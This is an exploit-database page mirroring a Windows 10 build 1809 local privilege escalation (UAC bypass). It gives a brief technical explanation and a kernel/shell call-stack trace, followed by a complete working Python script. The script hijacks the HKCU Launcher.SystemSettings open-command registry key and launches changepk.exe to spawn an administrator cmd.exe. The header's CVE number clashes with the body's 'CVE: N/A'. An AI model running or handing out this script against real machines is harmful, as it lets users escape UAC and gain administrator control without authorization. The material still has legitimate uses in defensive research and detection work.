Advertisement






Microsoft Windows 10 build 1809 Local Privilege Escalation (UAC Bypass)

CVE Category Price Severity
CVE-2019-1333 CWE-264 Not specified High
Author Risk Exploitation Type Date
OLDBAIT High Local 2020-01-13
CVSS EPSS EPSSP
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020010101

Below is a copy:

Microsoft Windows 10 build 1809 Local Privilege Escalation (UAC Bypass)
# Exploit Title: Microsoft Windows 10 - Local Privilege Escalation (UAC Bypass)
# Author: Nassim Asrir
# Date: 2019-01-10
# Exploit Author: Nassim Asrir
# CVE: N/A
# Tested On: Windows 10Pro 1809
# Vendor : https://www.microsoft.com

# Technical Details

# I discovered a Local Privilege Escalation in Windows 10 (UAC Bypass), via an auto-elevated process.
# The executable is changepk.exe. changepk is used to pass a new product key, you can pass the key also via commandline.
# By executing changepk.exe and tracing the process we can see some RegOpenKey operations that lead to open some non-found Key in the registry (HKCU).
# In our case we can use "HKCU:\Software\Classes\Launcher.SystemSettings\Shell\Open\Command" to spawn our Administrator cmd or to bypass the mmc UAC.

# ntoskrnl.exeObOpenObjectByNameEx + 0x32db0xfffff8073106270bC:\WINDOWS\system32\ntoskrnl.exe
# ntoskrnl.exeRtlMapGenericMask + 0x25480xfffff80731090118C:\WINDOWS\system32\ntoskrnl.exe
# ntoskrnl.exeObOpenObjectByNameEx + 0x1bd90xfffff80731061009C:\WINDOWS\system32\ntoskrnl.exe
# ntoskrnl.exeObOpenObjectByNameEx + 0x1df0xfffff8073105f60fC:\WINDOWS\system32\ntoskrnl.exe
# ntoskrnl.exeSeCaptureSubjectContextEx + 0x7c80xfffff8073105dc98C:\WINDOWS\system32\ntoskrnl.exe
# ntoskrnl.exeSeCaptureSubjectContextEx + 0x51f0xfffff8073105d9efC:\WINDOWS\system32\ntoskrnl.exe
# ntoskrnl.exesetjmpex + 0x78e50xfffff80730bd9c05C:\WINDOWS\system32\ntoskrnl.exe
# ntdll.dllZwOpenKeyEx + 0x140x7ff877501a94C:\Windows\System32\ntdll.dll
# KernelBase.dllRegEnumKeyExW + 0x4c50x7ff874161655C:\Windows\System32\KernelBase.dll
# KernelBase.dllMapPredefinedHandleInternal + 0xca50x7ff874162fb5C:\Windows\System32\KernelBase.dll
# KernelBase.dllRegOpenKeyExInternalW + 0x1410x7ff874161fa1C:\Windows\System32\KernelBase.dll
# KernelBase.dllRegOpenKeyExW + 0x190x7ff874161e49C:\Windows\System32\KernelBase.dll
# SHCore.dllSHGetValueW + 0x8c0x7ff87469bfccC:\Windows\System32\SHCore.dll
# shell32.dllOrdinal790 + 0xb2820x7ff87532fd22C:\Windows\System32\shell32.dll
# shell32.dllOrdinal790 + 0xad560x7ff87532f7f6C:\Windows\System32\shell32.dll
# shell32.dllSHChangeNotification_Lock + 0x2b80x7ff8753a2a58C:\Windows\System32\shell32.dll
# shell32.dllOrdinal790 + 0xb0cb0x7ff87532fb6bC:\Windows\System32\shell32.dll
# shell32.dllOrdinal790 + 0xa2540x7ff87532ecf4C:\Windows\System32\shell32.dll
# shell32.dllOrdinal790 + 0xa7c60x7ff87532f266C:\Windows\System32\shell32.dll
# shell32.dllShell_NotifyIconW + 0x16950x7ff875349c75C:\Windows\System32\shell32.dll
# shell32.dllSHGetFileInfoW + 0x18a50x7ff87536a8c5C:\Windows\System32\shell32.dll
# shell32.dllSignalFileOpen + 0x33b0x7ff8753a140bC:\Windows\System32\shell32.dll
# shell32.dllSignalFileOpen + 0x25b0x7ff8753a132bC:\Windows\System32\shell32.dll
# shell32.dllOrdinal99 + 0x9c60x7ff87534ff96C:\Windows\System32\shell32.dll
# shell32.dllSHGetSpecialFolderLocation + 0x28e0x7ff8753bac5eC:\Windows\System32\shell32.dll
# SHCore.dllOrdinal233 + 0x3c50x7ff8746ac315C:\Windows\System32\SHCore.dll
# kernel32.dllBaseThreadInitThunk + 0x140x7ff875087974C:\Windows\System32\kernel32.dll
# ntdll.dllRtlUserThreadStart + 0x210x7ff8774ca271C:\Windows\System32\ntdll.dll


# Exploit
# To exploit the vulnerability you can use this python code then execute it and you will get the Windows Activation just click Yes and you will redirect the execution to cmd.exe.

# -*- coding: utf-8 -*-
import os
import sys
import ctypes
import _winreg
import time

print "Creating Registry Key ....."
print ""
time.sleep(3)
def create_reg_key(key, value):

    try:  
        _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, 'Software\Classes\Launcher.SystemSettings\Shell\Open\Command')
        registry_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, 'Software\Classes\Launcher.SystemSettings\Shell\Open\Command', 0, _winreg.KEY_WRITE)                
        _winreg.SetValueEx(registry_key, key, 0, _winreg.REG_SZ, value)        
        _winreg.CloseKey(registry_key)
    except WindowsError:        
        raise

print "Registry Key Created :)"
print ""
print "Inserting the command ...."
time.sleep(3)
print ""
def exec_bypass_uac(cmd):
    try:
        create_reg_key('DelegateExecute', '')
        create_reg_key(None, cmd)    
    except WindowsError:
        raise

def bypass_uac():     
 try:                
    current_dir = os.path.dirname(os.path.realpath(__file__)) + '\\' + __file__
    cmd = "C:\windows\System32\cmd.exe"
    exec_bypass_uac(cmd)                
    os.system(r'C:\windows\system32\changepk.exe')  
    return 1               
 except WindowsError:
    sys.exit(1)       

if __name__ == '__main__':

    if bypass_uac():
        print "Good job you got your Administrator cmd :)"


# Don't Fogot:  reg delete "HKCU\Software\Classes\Launcher.SystemSettings\Shell\Open\Command" /f

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum